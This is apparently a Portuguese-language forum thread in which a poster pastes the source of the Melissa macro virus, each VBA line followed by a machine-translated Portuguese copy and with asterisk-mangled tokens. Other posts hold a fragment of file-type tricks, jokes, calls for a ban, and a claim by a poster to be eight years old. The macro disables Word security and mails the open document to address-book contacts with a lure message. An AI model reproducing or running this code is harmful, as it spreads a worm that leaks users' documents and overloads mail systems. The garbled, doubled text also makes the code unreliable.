Vá no painel de controle, em opções de pasta,e em tipos de arquivo, clique em “NOVO” e escreva: SYSTEM, clique em avançado e em aplicativo html:
Abra o notepad e escreva:
WinMac???
Alguém pra banir esse cidadão do fórum! 8)
esse é do capeta destruidor mostro mesmo hahaha
Nome:Melissa 1999 Nome: Melissa 1999
// Melissa Virus Source Code / / Melissa código-fonte de vírus
Private Sub Document_Open() Document_Open Private Sub ()
On Error Resume Next On Error Resume Next
If System.PrivateProfileString("", Se System.PrivateProfileString ("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> "" "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 9.0 \ W ord \ Security", "Nível") <> ""
Then Então
CommandBars("Macro").Controls("Security...").Enabl ed = False CommandBars ("Macro"). Controls ("Security ..."). Act var ed = False
System.PrivateProfileString("", System.PrivateProfileString ("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1& "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 9.0 \ W ord \ Security", "Level") = 1 &
Else Outro
CommandBars("Tools").Controls("Macro").Enabled = False CommandBars ("Tools"). Controls ("Macro"). Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1) Options.SaveNormalPrompt = (1 - 1)
End If End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application") Definir UngaDasOutlook = CreateObject ("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") Definir DasMapiName = UngaDasOutlook.GetNameSpace ("MAPI")
If System.PrivateProfileString("", Se System.PrivateProfileString ("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \", "Melissa?") <> "... Por Kwyjibo"
Then Então
If UngaDasOutlook = "Outlook" Then Se UngaDasOutlook = "Outlook" Então
DasMapiName.Logon "profile", "password" "Perfil" DasMapiName.Logon, "password"
For y = 1 To DasMapiName.***ressLists.Count Para y = 1 To DasMapiName. *** RessLists.Count
Set ***yBook = DasMapiName.***ressLists(y) Definir *** Bíblia Eletrônica = DasMapiName. *** RessLists (y)
x = 1 x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) Definir BreakUmOffASlice = UngaDasOutlook.CreateItem (0)
For oo = 1 To ***yBook.***ressEntries.Count Para oo = 1 To *** Bíblia Eletrônica. *** RessEntries.Count
Peep = ***yBook.***ressEntries(x) Peep = *** *** Bíblia Eletrônica. RessEntries (x)
BreakUmOffASlice.Recipients.*** Peep BreakUmOffASlice.Recipients. Peep ***
x = x + 1 x = x + 1
If x > 50 Then oo = ***yBook.***ressEntries.Count Se x> 50 Então oo = *** Bíblia Eletrônica. *** RessEntries.Count
Next oo Oo próximo
BreakUmOffASlice.Subject = "Important Message From " & BreakUmOffASlice.Subject = "mensagem importante" e
Application.UserName Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't BreakUmOffASlice.Body = "Aqui está o documento que você pediu ... não
show anyone else Wink" mostrar mais ninguém Wink "
BreakUmOffASlice.Attachments.*** ActiveDocument.FullName BreakUmOffASlice.Attachments. *** ActiveDocument.FullName
BreakUmOffASlice.Send BreakUmOffASlice.Send
Peep = "" Peep = ""
Next y Y próxima
DasMapiName.Logoff DasMapiName.Logoff
End Final
Todos me punem,saiam que sou uma criança?
8 anos
Antes eu só ia no fórum pra achar respostas, e o desinstallerVirus em outro tópico é só um componente
eu me enganei, invés de path eu coloquei pacote!!!